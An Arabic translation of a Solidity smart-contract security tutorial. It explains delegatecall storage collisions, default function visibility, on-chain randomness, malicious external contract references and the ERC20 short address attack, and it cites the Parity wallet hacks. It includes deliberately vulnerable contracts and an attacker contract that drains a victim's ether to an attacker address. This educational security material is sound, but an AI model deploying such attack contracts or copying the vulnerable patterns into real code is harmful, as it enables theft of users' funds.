هناك عدد من العناصر في هذا العقد قد تحتاج إلى بعض الشرح. أولًا، هناك متغير ذو مظهر مثير للاهتمام، fibSig. يحمل هذا المتغير أول 4 بايتات من تجزئة Keccak (SHA-3) للسلسلة النصية "setFibonacci(uint256)". يُعرف هذا باسم مُحدِّد الدالة ويُوضع في calldata لتحديد أي دالة من دوال العقد الذكي سيتم استدعاؤها. يُستخدم في دالة delegatecall في السطر [21] لتحديد أننا نرغب في تشغيل الدالة setFibonacci(uint256). الوسيط الثاني في delegatecall هو المعامل الذي نمرره إلى الدالة. ثانيًا، نفترض أن عنوان مكتبة FibonacciLib مُشار إليه بشكل صحيح في المُنشئ (يناقش قسم المرجع الخارجي للعقد بعض الثغرات المحتملة المتعلقة بهذا النوع من تهيئة مراجع العقود).
هل يمكنك رصد أي خطأ (أو أخطاء) في هذا العقد؟ إذا وضعت هذا في Remix، وملأته بالإيثر واستدعيت withdraw()، فمن المرجح أن يعيد الحالة (revert).
ربما لاحظت أن متغير الحالة start يُستخدم في كل من المكتبة والعقد الرئيسي المُستدعي. في عقد المكتبة، يُستخدم start لتحديد بداية متتالية فيبوناتشي ويُضبط على 0، بينما يُضبط على 3 في عقد FibonacciBalance. ربما لاحظت أيضًا أن دالة الرجوع (fallback) في عقد FibonacciBalance تسمح بتمرير جميع الاستدعاءات إلى عقد المكتبة، مما يسمح أيضًا باستدعاء الدالة setStart() من عقد المكتبة. وبالتذكير بأننا نحافظ على حالة العقد، قد يبدو أن هذه الدالة تسمح لك بتغيير حالة المتغير start في عقد FibonnacciBalance المحلي. إذا كان الأمر كذلك، فسيسمح ذلك للشخص بسحب المزيد من الإيثر، لأن calculatedFibNumber الناتج يعتمد على المتغير start (كما هو موضح في عقد المكتبة). في الواقع، الدالة setStart() لا تعدّل (ولا يمكنها تعديل) المتغير start في عقد . الثغرة الأساسية في هذا العقد أسوأ بكثير من مجرد تعديل المتغير .
قبل مناقشة المشكلة الفعلية، سنأخذ استراحة قصيرة لفهم كيفية تخزين متغيرات الحالة (متغيرات storage) فعليًا في العقود. تُوضع متغيرات الحالة أو storage (المتغيرات التي تستمر عبر المعاملات الفردية) في slots بشكل تسلسلي عند تقديمها في العقد. (توجد بعض التعقيدات هنا، وأشجع القارئ على قراءة تخطيط متغيرات الحالة في التخزين لفهم أكثر شمولًا).
كمثال، لننظر إلى عقد المكتبة. يحتوي على متغيرين من متغيرات الحالة، start وcalculatedFibNumber. المتغير الأول هو start، وبالتالي يتم تخزينه في تخزين العقد عند slot[0] (أي الفتحة الأولى). المتغير الثاني، calculatedFibNumber، يُوضع في فتحة التخزين المتاحة التالية، slot[1]. إذا نظرنا إلى الدالة setStart()، فإنها تأخذ مدخلًا وتضبط start على أي قيمة كان عليها المدخل. وبالتالي، تقوم هذه الدالة بضبط slot[0] على أي مدخل نقدمه في الدالة setStart(). وبالمثل، تضبط الدالة setFibonacci() المتغير calculatedFibNumber على نتيجة fibonacci(n). مرة أخرى، هذا ببساطة هو ضبط تخزين slot[1] على قيمة .
الآن لننظر إلى عقد FibonacciBalance. يتوافق تخزين slot[0] الآن مع عنوان fibonacciLibrary، بينما يتوافق slot[1] مع calculatedFibNumber. في هذا التعيين غير الصحيح تحدث الثغرة. delegatecall يحافظ على سياق العقد. هذا يعني أن الكود الذي يُنفَّذ عبر delegatecall سيعمل على حالة (أي تخزين) العقد المُستدعي.
لاحظ الآن أنه في withdraw() في السطر [21] ننفذ، fibonacciLibrary.delegatecall(fibSig,withdrawalCounter). هذا يستدعي الدالة setFibonacci()، التي كما ناقشنا، تعدّل تخزين slot[1]، والذي في سياقنا الحالي هو calculatedFibNumber. هذا كما هو متوقع (أي بعد التنفيذ، يتم تعديل calculatedFibNumber). ومع ذلك، تذكر أن المتغير start في عقد FibonacciLib يقع في تخزين slot[0]، وهو عنوان fibonacciLibrary في العقد الحالي. هذا يعني أن الدالة fibonacci() ستعطي نتيجة غير متوقعة. وذلك لأنها تشير إلى start (slot[0]) والذي في سياق الاستدعاء الحالي هو عنوان fibonacciLibrary (والذي غالبًا ما يكون كبيرًا جدًا عند تفسيره كـ ). وبالتالي، فمن المرجح أن دالة ستعيد الحالة (revert) لأنها لن تحتوي على كمية إيثر مقدارها ، وهو ما سيعيده .
والأسوأ من ذلك، أن عقد FibonacciBalance يسمح للمستخدمين باستدعاء جميع دوال fibonacciLibrary عبر دالة الرجوع في السطر [26]. كما ناقشنا سابقًا، يتضمن ذلك الدالة setStart(). ناقشنا أن هذه الدالة تسمح لأي شخص بتعديل أو ضبط تخزين slot[0]. في هذه الحالة، تخزين slot[0] هو عنوان fibonacciLibrary. لذلك، يمكن للمهاجم إنشاء عقد ضار (مثال عليه موضح أدناه)، وتحويل العنوان إلى uint (يمكن فعل ذلك في بايثون بسهولة باستخدام int('<address>',16)) ثم استدعاء setStart(<attack_contract_address_as_uint>). سيؤدي هذا إلى تغيير fibonacciLibrary إلى عنوان العقد المهاجم. بعد ذلك، كلما استدعى مستخدم withdraw() أو دالة الرجوع، سيتم تشغيل العقد الضار (والذي يمكنه سرقة الرصيد الكامل للعقد) لأننا عدّلنا العنوان الفعلي لـ fibonacciLibrary. مثال على مثل هذا العقد المهاجم سيكون،```solidity
contract Attack {
uint storageSlot0; // corresponds to fibonacciLibrary
uint storageSlot1; // corresponds to calculatedFibNumber
// fallback - this will run if a specified function is not found
function() public {
storageSlot1 = 0; // we set calculatedFibNumber to 0, so that if withdraw
// is called we don't send out any ether.
<attacker_address>.transfer(this.balance); // we take all the ether
}
}
لاحظ أن عقد الهجوم هذا يعدّل `calculatedFibNumber` عن طريق تغيير فتحة التخزين `slot[1]`. من حيث المبدأ، يمكن للمهاجم تعديل أي فتحات تخزين أخرى يختارها لتنفيذ جميع أنواع الهجمات على هذا العقد. أشجع جميع القراء على وضع هذه العقود في [Remix](https://remix.ethereum.org) وتجربة عقود هجوم مختلفة وتغييرات الحالة من خلال دوال `delegatecall` هذه.
من المهم أيضًا ملاحظة أنه عندما نقول إن `delegatecall` يحافظ على الحالة، فإننا لا نتحدث عن أسماء متغيرات العقد، بل عن فتحات التخزين الفعلية التي تشير إليها تلك الأسماء. كما ترى من هذا المثال، يمكن لخطأ بسيط أن يؤدي إلى اختطاف المهاجم للعقد بالكامل والإيثر الخاص به.
<h3 id="dc-prevention">تقنيات الوقاية</h3>
توفر Solidity الكلمة المفتاحية `library` لتنفيذ عقود المكتبات (انظر [وثائق Solidity](http://solidity.readthedocs.io/en/latest/contracts.html?highlight=library#libraries) لمزيد من التفاصيل). يضمن ذلك أن يكون عقد المكتبة عديم الحالة وغير قابل للتدمير الذاتي. إن إجبار المكتبات على أن تكون عديمة الحالة يخفف من تعقيدات سياق التخزين الموضحة في هذا القسم. كما تمنع المكتبات عديمة الحالة الهجمات التي يعدّل فيها المهاجمون حالة المكتبة مباشرة للتأثير على العقود التي تعتمد على كود المكتبة.
كقاعدة عامة، عند استخدام `DELEGATECALL` انتبه جيدًا لسياق الاستدعاء المحتمل لكل من عقد المكتبة والعقد المُستدعي، وقم ببناء مكتبات عديمة الحالة كلما أمكن ذلك.
<h3 id="dc-example">مثال من العالم الحقيقي: محفظة Parity متعددة التوقيعات (الاختراق الثاني)</h3>
يُعد اختراق محفظة Parity متعددة التوقيعات الثاني مثالًا على كيفية استغلال سياق كود مكتبة مكتوب جيدًا إذا تم تشغيله في سياق غير مقصود. هناك عدد من الشروحات الجيدة لهذا الاختراق، مثل هذا العرض العام: [Parity MultiSig Hacked. Again](https://medium.com/chain-cloud-company-blog/parity-multisig-hack-again-b46771eaa838) بقلم Anthony Akentiev، وهذا [السؤال على stack exchange](https://ethereum.stackexchange.com/questions/30128/explanation-of-parity-library-suicide/30130) و[نظرة متعمقة على خطأ Parity Multisig](http://hackingdistributed.com/2017/07/22/deep-dive-parity-bug/).
لإضافة إلى هذه المراجع، دعنا نستكشف العقود التي تم استغلالها. يمكن العثور على عقد المكتبة والمحفظة على github الخاص بـ Parity [هنا](https://github.com/paritytech/parity/blob/b640df8fbb964da7538eef268dffc125b081a82f/js/src/contracts/snippets/enhanced-wallet.sol).
دعونا نلقي نظرة على الجوانب ذات الصلة في هذا العقد. يوجد هنا عقدان محل اهتمام: عقد المكتبة وعقد المحفظة.
عقد المكتبة،```solidity
contract WalletLibrary is WalletEvents {
...
// throw unless the contract is not yet initialized.
modifier only_uninitialized { if (m_numOwners > 0) throw; _; }
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {
initDaylimit(_daylimit);
initMultiowned(_owners, _required);
}
// kills the contract sending everything to `_to`.
function kill(address _to) onlymanyowners(sha3(msg.data)) external {
suicide(_to);
}
...
}
وعقد المحفظة،```solidity contract Wallet is WalletEvents {
...
// METHODS
// gets called when no other function matches function() payable { // just being sent some cash? if (msg.value > 0) Deposit(msg.sender, msg.value); else if (msg.data.length > 0) _walletLibrary.delegatecall(msg.data); }
...
// FIELDS address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe; }
لاحظ أن عقد `Wallet` يمرر جميع الاستدعاءات إلى عقد `WalletLibrary` عبر استدعاء تفويضي. عنوان الثابت `_walletLibrary` في هذا المقتطف البرمجي يعمل كعنصر نائب للعقد `WalletLibrary` المنشور فعليًا (والذي كان على العنوان `0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4`).
كانت العملية المقصودة من هذه العقود هي أن يكون هناك عقد `Wallet` بسيط منخفض التكلفة قابل للنشر بحيث تكون قاعدته البرمجية ووظيفته الرئيسية في عقد `WalletLibrary`. لسوء الحظ، فإن عقد `WalletLibrary` هو نفسه عقد ويحتفظ بحالته الخاصة. هل يمكنك أن ترى لماذا قد يشكل هذا مشكلة؟
من الممكن إرسال استدعاءات إلى عقد `WalletLibrary` نفسه. على وجه التحديد، يمكن تهيئة عقد `WalletLibrary` ويصبح مملوكًا. قام مستخدم بذلك عن طريق استدعاء الدالة `initWallet()` على عقد `WalletLibrary`، ليصبح مالكًا لعقد المكتبة. ثم قام المستخدم نفسه لاحقًا باستدعاء الدالة `kill()`. وبما أن المستخدم كان مالكًا لعقد المكتبة، فقد مرّ المعدِّل (modifier) وانتحر عقد المكتبة. ولأن جميع عقود `Wallet` الموجودة تشير إلى عقد المكتبة هذا ولا تحتوي على أي طريقة لتغيير هذا المرجع، فإن جميع وظائفها، بما في ذلك القدرة على سحب الإيثر، تضيع مع عقد `WalletLibrary`. وبشكل أكثر مباشرة، فإن كل الإيثر في جميع محافظ التوقيع المتعدد من نوع Parity هذه يضيع فورًا أو يصبح غير قابل للاسترداد بشكل دائم.
<h2 id="visibility"><span id="SP-5">5. الرؤية الافتراضية</span></h2>
تمتلك الدوال في Solidity محددات رؤية تحدد كيفية السماح باستدعاء هذه الدوال. تحدد الرؤية ما إذا كان يمكن استدعاء الدالة خارجيًا من قبل المستخدمين، أو من قبل عقود مشتقة أخرى، أو داخليًا فقط، أو خارجيًا فقط. هناك أربعة محددات رؤية، موصوفة بالتفصيل في [وثائق Solidity](http://solidity.readthedocs.io/en/latest/contracts.html?highlight=library#visibility-and-getters). تكون الدوال افتراضيًا `public` مما يسمح للمستخدمين باستدعائها خارجيًا. الاستخدام غير الصحيح لمحددات الرؤية يمكن أن يؤدي إلى ثغرات أمنية مدمرة في العقود الذكية كما سيتم مناقشته في هذا القسم.
<h3 id="visibility-vuln">الثغرة</h3>
الرؤية الافتراضية للدوال هي `public`. لذلك فإن الدوال التي لا تحدد أي رؤية ستكون قابلة للاستدعاء من قبل مستخدمين خارجيين. وتأتي المشكلة عندما يتجاهل المطورون عن طريق الخطأ محددات الرؤية على الدوال التي يجب أن تكون `private` (أو قابلة للاستدعاء فقط داخل العقد نفسه).
لنستكشف سريعًا مثالًا بسيطًا.```solidity
contract HashForEther {
function withdrawWinnings() {
// Winner if the last 8 hex characters of the address are 0.
require(uint32(msg.sender) == 0);
_sendWinnings();
}
function _sendWinnings() {
msg.sender.transfer(this.balance);
}
}
هذا العقد البسيط مصمم ليعمل كلعبة مكافآت لتخمين العناوين. للفوز برصيد العقد، يجب على المستخدم توليد عنوان إيثريوم تكون آخر 8 أحرف سداسية عشرية فيه هي 0. بمجرد الحصول عليه، يمكنه استدعاء دالة WithdrawWinnings() للحصول على مكافأته.
لسوء الحظ، لم يتم تحديد رؤية الدوال. على وجه الخصوص، دالة _sendWinnings() هي public، وبالتالي يمكن لأي عنوان استدعاء هذه الدالة لسرقة المكافأة.
من الممارسات الجيدة دائمًا تحديد رؤية جميع الدوال في العقد، حتى لو كانت public عن قصد. تعرض الإصدارات الحديثة من Solidity الآن تحذيرات أثناء التجميع للدوال التي ليس لها رؤية صريحة محددة، لتشجيع هذه الممارسة.
في الاختراق الأول لمحفظة Parity متعددة التوقيعات، سُرق إيثر بقيمة نحو $31M من ثلاث محافظ بشكل أساسي. يقدّم Haseeb Qureshi ملخصًا جيدًا لكيفية حدوث ذلك بالضبط في هذا المنشور.
في الأساس، تُبنى المحفظة متعددة التوقيعات (والتي يمكن العثور عليها هنا) من عقد أساسي Wallet يستدعي عقد مكتبة يحتوي على الوظائف الأساسية (كما وُصف في مثال من الواقع: Parity متعددة التوقيعات (الاختراق الثاني)). يحتوي عقد المكتبة على الكود الذي يهيئ المحفظة كما يظهر من المقتطف التالي```solidity
contract WalletLibrary is WalletEvents {
...
// METHODS
...
// constructor is given number of sigs required to do protected "onlymanyowners" transactions // as well as the selection of addresses capable of confirming them. function initMultiowned(address[] _owners, uint _required) { m_numOwners = _owners.length + 1; m_owners[1] = uint(msg.sender); m_ownerIndex[uint(msg.sender)] = 1; for (uint i = 0; i < _owners.length; ++i) { m_owners[2 + i] = uint(_owners[i]); m_ownerIndex[uint(_owners[i])] = 2 + i; } m_required = _required; }
...
// constructor - just pass on the owner array to the multiowned and // the limit to daylimit function initWallet(address[] _owners, uint _required, uint _daylimit) { initDaylimit(_daylimit); initMultiowned(_owners, _required); } }
لاحظ أنه لم يتم تحديد رؤية (visibility) صراحةً لأي من الدالتين. فكلتا الدالتين تكونان `public` افتراضيًا. تُستدعى الدالة `initWallet()` في مُنشئ المحفظة (constructor) وتقوم بتعيين المالكين للمحفظة متعددة التوقيع كما يظهر في الدالة `initMultiowned()`. وبسبب ترك هاتين الدالتين `public` عن طريق الخطأ، تمكن المهاجم من استدعاء هاتين الدالتين على العقود المنشورة، معيدًا تعيين الملكية إلى عنوان المهاجم. وبصفته المالك، قام المهاجم بعد ذلك بسحب كل الأثير من المحافظ، بقيمة 31 مليون دولار.
<h2 id="entropy"><span id="SP-6">6. وهم الإنتروبيا</span></h2>
جميع المعاملات على سلسلة كتل إيثيريوم هي عمليات انتقال حالة حتمية (deterministic). وهذا يعني أن كل معاملة تعدّل الحالة العامة لنظام إيثيريوم البيئي، وتفعل ذلك بطريقة قابلة للحساب دون أي قدر من عدم اليقين. وهذا يؤدي في النهاية إلى أنه داخل النظام البيئي للبلوكشين لا يوجد أي مصدر للإنتروبيا أو العشوائية. لا توجد دالة `rand()` في لغة Solidity. تحقيق الإنتروبيا اللامركزية (العشوائية) هو مشكلة معروفة جيدًا، وقد اقترحت العديد من الأفكار لمعالجتها (انظر على سبيل المثال [RandDAO](https://github.com/randao/randao) أو استخدام سلسلة من التجزئات (Hashes) كما وصفها فيتاليك في هذا [المنشور](https://vitalik.ca/files/randomness.html)).
<h3 id="entropy-vuln">الثغرة</h3>
كانت بعض العقود الأولى التي بُنيت على منصة إيثيريوم قائمة على المقامرة. فالمقامرة تتطلب بطبيعتها عدم اليقين (شيئًا للمراهنة عليه)، مما يجعل بناء نظام مقامرة على البلوكشين (وهو نظام حتمي) أمرًا صعبًا إلى حدٍ ما. ومن الواضح أن عدم اليقين يجب أن يأتي من مصدر خارجي عن البلوكشين. وهذا ممكن للرهانات بين الأقران (انظر على سبيل المثال [تقنية الالتزام-الكشف (commit-reveal)](https://ethereum.stackexchange.com/questions/191/how-can-i-securely-generate-a-random-number-in-my-smart-contract))، لكنه أصعب بكثير إذا أردت تنفيذ عقد ليقوم بدور *البيت (the house)* (كما في لعبة البلاك جاك أو الروليت). من المزالق الشائعة استخدام متغيرات الكتلة المستقبلية، مثل التجزئات والطوابع الزمنية ورقم الكتلة أو حد الغاز. المشكلة في هذه المتغيرات أنها خاضعة لتحكم المُعدِّن الذي ينتج الكتلة، وبالتالي فهي ليست عشوائية حقًا. لنفترض على سبيل المثال عقدًا ذكيًا للروليت يحتوي على منطق يُرجع رقمًا أسود إذا انتهى تجزئة الكتلة التالية برقم زوجي. يمكن لمُعدِّن (أو مجموعة تعدين) أن يراهن بمليون دولار على الأسود. إذا قاموا بحل الكتلة التالية ووجدوا أن التجزئة تنتهي برقم فردي، فسيمتنعون عن نشر كتلتهم بسعادة ويعدّنون كتلة أخرى حتى يجدوا حلاً يكون فيه تجزئة الكتلة رقمًا زوجيًا (بافتراض أن مكافأة الكتلة والرسوم أقل من مليون دولار). استخدام المتغيرات الماضية أو الحالية يمكن أن يكون أكثر تدميرًا كما يوضح مارتن سويندي في [منشوره الممتاز](http://martin.swende.se/blog/Breaking_the_house.html). علاوة على ذلك، فإن استخدام متغيرات الكتلة فقط يعني أن الرقم العشوائي الزائف سيكون نفسه لجميع المعاملات في الكتلة، لذا يمكن للمهاجم مضاعفة أرباحه بتنفيذ العديد من المعاملات داخل الكتلة الواحدة (إذا كان هناك حد أقصى للرهان).
<h3 id="entropy-prevention">تقنيات الوقاية</h3>
يجب أن يكون مصدر الإنتروبيا (العشوائية) خارجيًا عن البلوكشين. ويمكن تحقيق ذلك بين الأقران باستخدام أنظمة مثل [الالتزام-الكشف](https://ethereum.stackexchange.com/questions/191/how-can-i-securely-generate-a-random-number-in-my-smart-contract)، أو عبر تغيير نموذج الثقة إلى مجموعة من المشاركين (كما في [RandDAO](https://github.com/randao/randao)). ويمكن أيضًا القيام بذلك عبر كيان مركزي يعمل كأوراكل للعشوائية. لا ينبغي استخدام متغيرات الكتلة (بشكل عام، توجد بعض الاستثناءات) كمصدر للإنتروبيا لأن المعدِّنين يمكنهم التلاعب بها.
<h3 id="entropy-example">مثال من العالم الحقيقي: عقود PRNG</h3>
كتب أرسيني ريوتوف [منشور مدونة](https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620) بعد أن حلل 3649 عقدًا ذكيًا نشطًا كانت تستخدم نوعًا ما من مولدات الأرقام العشوائية الزائفة (PRNG) ووجد 43 عقدًا يمكن استغلالها.
<h2 id="contract-reference"><span id="SP-7">7. الإشارة إلى العقود الخارجية</span></h2>
من فوائد *الحاسوب العالمي* لإيثيريوم القدرة على إعادة استخدام الكود والتفاعل مع العقود المنشورة بالفعل على الشبكة. ونتيجة لذلك، يشير عدد كبير من العقود إلى عقود خارجية وتستخدم في عملياتها العامة استدعاءات رسائل خارجية (external message calls) للتفاعل مع هذه العقود. ويمكن لهذه الاستدعاءات الخارجية للرسائل أن تخفي نوايا الجهات الخبيثة بطرق غير واضحة، وسنناقش ذلك.
<h3 id="cr-vuln">الثغرة</h3>
في لغة Solidity، يمكن تحويل أي عنوان (address) إلى عقد بغض النظر عما إذا كان الكود الموجود في هذا العنوان يمثل نوع العقد الذي يتم التحويل إليه. وهذا قد يكون مضللاً، خاصةً عندما يحاول مؤلف العقد إخفاء كود خبيث. دعونا نوضح ذلك بمثال:
لنأخذ قطعة كود تنفذ بشكل بدائي تشفير [Rot13](https://github.com/al1ex/soliditysecurity/blob/HEAD/www.wikipedia.com/rot13).
`Rot13Encryption.sol`:```solidity
//encryption contract
contract Rot13Encryption {
event Result(string convertedString);
//rot13 encrypt a string
function rot13Encrypt (string text) public {
uint256 length = bytes(text).length;
for (var i = 0; i < length; i++) {
byte char = bytes(text)[i];
//inline assembly to modify the string
assembly {
char := byte(0,char) // get the first byte
if and(gt(char,0x6D), lt(char,0x7B)) // if the character is in [n,z], i.e. wrapping.
{ char:= sub(0x60, sub(0x7A,char)) } // subtract from the ascii number a by the difference char is from z.
if iszero(eq(char, 0x20)) // ignore spaces
{mstore8(add(add(text,0x20), mul(i,1)), add(char,13))} // add 13 to char.
}
}
emit Result(text);
}
// rot13 decrypt a string
function rot13Decrypt (string text) public {
uint256 length = bytes(text).length;
for (var i = 0; i < length; i++) {
byte char = bytes(text)[i];
assembly {
char := byte(0,char)
if and(gt(char,0x60), lt(char,0x6E))
{ char:= add(0x7B, sub(char,0x61)) }
if iszero(eq(char, 0x20))
{mstore8(add(add(text,0x20), mul(i,1)), sub(char,13))}
}
}
emit Result(text);
}
}
هذا الكود ببساطة يأخذ سلسلة (أحرف a-z، دون تحقق) ويقوم بتشفيرها عن طريق إزاحة كل حرف 13 مكاناً إلى اليمين (مع الالتفاف حول 'z')؛ أي أن 'a' ينتقل إلى 'n' و'x' ينتقل إلى 'k'. التجميع هنا ليس مهماً، فلا تقلق إذا لم يكن مفهوماً في هذه المرحلة.
فكّر في العقد التالي الذي يستخدم هذا الكود لتشفيره،```solidity import "Rot13Encryption.sol";
// encrypt your top secret info contract EncryptionContract { // library for encryption Rot13Encryption encryptionLibrary;
// constructor - initialise the library
constructor(Rot13Encryption _encryptionLibrary) {
encryptionLibrary = _encryptionLibrary;
}
function encryptPrivateData(string privateInfo) {
// potentially do some operations here
encryptionLibrary.rot13Encrypt(privateInfo);
}
}
المشكلة في هذا العقد هي أن عنوان `encryptionLibrary` ليس عامًا أو ثابتًا. وبالتالي، كان بإمكان ناشر العقد إعطاء عنوان في المُنشئ يشير إلى هذا العقد:```solidity
//encryption contract
contract Rot26Encryption {
event Result(string convertedString);
//rot13 encrypt a string
function rot13Encrypt (string text) public {
uint256 length = bytes(text).length;
for (var i = 0; i < length; i++) {
byte char = bytes(text)[i];
//inline assembly to modify the string
assembly {
char := byte(0,char) // get the first byte
if and(gt(char,0x6D), lt(char,0x7B)) // if the character is in [n,z], i.e. wrapping.
{ char:= sub(0x60, sub(0x7A,char)) } // subtract from the ascii number a by the difference char is from z.
if iszero(eq(char, 0x20)) // ignore spaces
{mstore8(add(add(text,0x20), mul(i,1)), add(char,26))} // add 13 to char.
}
}
emit Result(text);
}
// rot13 decrypt a string
function rot13Decrypt (string text) public {
uint256 length = bytes(text).length;
for (var i = 0; i < length; i++) {
byte char = bytes(text)[i];
assembly {
char := byte(0,char)
if and(gt(char,0x60), lt(char,0x6E))
{ char:= add(0x7B, sub(char,0x61)) }
if iszero(eq(char, 0x20))
{mstore8(add(add(text,0x20), mul(i,1)), sub(char,26))}
}
}
emit Result(text);
}
}
الذي ينفّذ خوارزمية rot26 (يزيح كل حرف بمقدار 26 خانة، فهمت؟ :p). مرة أخرى، لا حاجة لفهم لغة التجميع في هذا العقد. كان بإمكان المُنشئ أيضًا ربط العقد التالي:```solidity contract Print{ event Print(string text);
function rot13Encrypt(string text) public {
emit Print(text);
}
}
إذا تم تمرير عنوان أي من هذين العقدين في المُنشئ، فإن دالة `encryptPrivateData()` ستكتفي ببساطة بإصدار حدث يطبع البيانات الخاصة غير المشفرة. على الرغم من أنه في هذا المثال تم تعيين عقد شبيه بالمكتبة في المُنشئ، إلا أنه في كثير من الحالات يمكن لمستخدم متميز (مثل `owner`) تغيير عناوين عقود المكتبة. إذا كان العقد المرتبط لا يحتوي على الدالة التي يتم استدعاؤها، فسيتم تنفيذ دالة fallback. على سبيل المثال، مع السطر `encryptionLibrary.rot13Encrypt()`، إذا كان العقد المحدد بواسطة `encryptionLibrary` هو:```solidity
contract Blank {
event Print(string text);
function () {
emit Print("Here");
//put malicious code here and it will run
}
}
ثم سيتم إصدار حدث بنص "Here". وبالتالي إذا كان بإمكان المستخدمين تعديل مكتبات العقود، فيمكنهم من حيث المبدأ جعل المستخدمين يشغّلون كودًا تعسفيًا دون علمهم.
ملاحظة: لا تستخدم عقود تشفير مثل هذه، لأن معاملات الإدخال إلى العقود الذكية مرئية على سلسلة الكتل. كما أن تشفير Rot ليس تقنية تشفير موصى بها :p
كما هو موضح أعلاه، يمكن في بعض الحالات نشر عقود خالية من الثغرات بطريقة تجعلها تتصرف بشكل خبيث. يمكن للمدقق التحقق من عقد علنًا، ثم يقوم مالكه بنشره بطريقة خبيثة، مما يؤدي إلى عقد تم تدقيقه علنًا ولكنه يحمل ثغرات أو نية خبيثة.
هناك عدد من التقنيات التي تمنع هذه السيناريوهات.
إحدى هذه التقنيات هي استخدام الكلمة المفتاحية new لإنشاء العقود. في المثال أعلاه، يمكن كتابة المُنشئ على النحو التالي:```solidity
constructor() {
encryptionLibrary = new Rot13Encryption();
}
This way an instance of the referenced contract is created at deployment time and the deployer cannot replace the `Rot13Encryption` contract with anything else without modifying the smart contract.
Another solution is to hard code any external contract addresses if they are known.
In general, code that calls external contracts should always be looked at carefully. As a developer, when defining external contracts, it can be a good idea to make the contract addresses public (which is not the case in the honey-pot example given below) to allow users to easily examine which code is being referenced by the contract. Conversely, if a contract has a private variable contract address it can be a sign of someone behaving maliciously (as shown in the real-world example). If a privileged (or any) user is capable of changing a contract address which is used to call external functions, it can be important (in a decentralised system context) to implement a time-lock or voting mechanism to allow users to see which code is being changed or to give participants a chance to opt in/out with the new contract address.
<h3 id="cr-example">مثال من العالم الحقيقي: مصيدة إعادة الدخول</h3>
تم إطلاق عدد من المصائد مؤخرًا على الشبكة الرئيسية. تحاول هذه العقود التفوق على قراصنة إيثريوم الذين يحاولون استغلال العقود، لكنهم في المقابل ينتهي بهم الأمر إلى خسارة الإيثر لصالح العقد الذي يتوقعون استغلاله. أحد الأمثلة يستخدم الهجوم أعلاه عن طريق استبدال عقد متوقع بعقد خبيث في المُنشئ. يمكن العثور على الكود [هنا](https://etherscan.io/address/0x95d34980095380851902ccd9a1fb4c813c2cb639#code):```solidity
pragma solidity ^0.4.19;
contract Private_Bank
{
mapping (address => uint) public balances;
uint public MinDeposit = 1 ether;
Log TransferLog;
function Private_Bank(address _log)
{
TransferLog = Log(_log);
}
function Deposit()
public
payable
{
if(msg.value >= MinDeposit)
{
balances[msg.sender]+=msg.value;
TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
}
}
function CashOut(uint _am)
{
if(_am<=balances[msg.sender])
{
if(msg.sender.call.value(_am)())
{
balances[msg.sender]-=_am;
TransferLog.AddMessage(msg.sender,_am,"CashOut");
}
}
}
function() public payable{}
}
contract Log
{
struct Message
{
address Sender;
string Data;
uint Val;
uint Time;
}
Message[] public History;
Message LastMsg;
function AddMessage(address _adr,uint _val,string _data)
public
{
LastMsg.Sender = _adr;
LastMsg.Time = now;
LastMsg.Val = _val;
LastMsg.Data = _data;
History.push(LastMsg);
}
}
This المشاركة من أحد مستخدمي ريديت توضح كيف فقدوا 1 إيثر لهذا العقد من خلال محاولة استغلال ثغرة إعادة الدخول التي توقعوا وجودها في العقد.
لا يتم تنفيذ هذا الهجوم تحديدًا على عقود Solidity نفسها بل على تطبيقات الطرف الثالث التي قد تتفاعل معها. أضيف هذا الهجوم للاكتمال وللوعي بكيفية التلاعب بالمعاملات في العقود.
لمزيد من القراءة، انظر شرح هجوم العنوان القصير في ERC20، وثغرة عقد ICO الذكي: هجوم العنوان القصير أو منشور ريديت هذا.
عند تمرير المعاملات إلى عقد ذكي، يتم ترميز المعاملات وفقًا لـمواصفات ABI. من الممكن إرسال معاملات مشفرة أقصر من الطول المتوقع للمعامل (على سبيل المثال، إرسال عنوان يتكون من 38 حرفًا سداسيًا عشريًا فقط (19 بايت) بدلاً من 40 حرفًا سداسيًا عشريًا قياسيًا (20 بايت)). في مثل هذا السيناريو، ستقوم EVM بإضافة أصفار إلى نهاية المعاملات المشفرة لتعويض الطول المتوقع.
يصبح هذا مشكلة عندما لا تتحقق تطبيقات الطرف الثالث من المدخلات. أوضح مثال هو منصة تبادل لا تتحقق من عنوان رمز ERC20 عندما يطلب المستخدم سحبًا. هذا المثال مغطى بمزيد من التفصيل في منشور Peter Venesses، شرح هجوم العنوان القصير في ERC20 المذكور أعلاه.
ضع في الاعتبار، واجهة دالة النقل القياسية لـERC20، مع ملاحظة ترتيب المعاملات،```solidity function transfer(address to, uint tokens) public returns (bool success);
الآن لنفكّر في بورصة تحتفظ بكمية كبيرة من توكن (لنقل `REP`)، ويريد مستخدم سحب حصته البالغة 100 توكن. سيُرسل المستخدم عنوانه، `0xdeaddeaddeaddeaddeaddeaddeaddeaddeaddead` وعدد التوكنات، `100`. ستقوم البورصة بترميز هذه المعاملات بالترتيب المحدد بواسطة دالة `transfer()`، أي `address` ثم `tokens`. النتيجة المرمّزة ستكون `a9059cbb000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeaddead0000000000000` `000000000000000000000000000000000056bc75e2d63100000`. أول أربعة بايتات (`a9059cbb`) هي [توقيع الدالة/مُحدِّد الدالة](https://solidity.readthedocs.io/en/latest/abi-spec.html#function-selector) الخاص بـ `transfer()`، والبايتات الـ32 الثانية هي العنوان، تليها الـ32 بايتة الأخيرة التي تمثل عدد التوكنات من نوع `uint256`. لاحظ أن القيمة السداسية العشرية `56bc75e2d63100000` في النهاية تقابل 100 توكن (مع 18 خانة عشرية، كما هو محدد في عقد توكن `REP`).
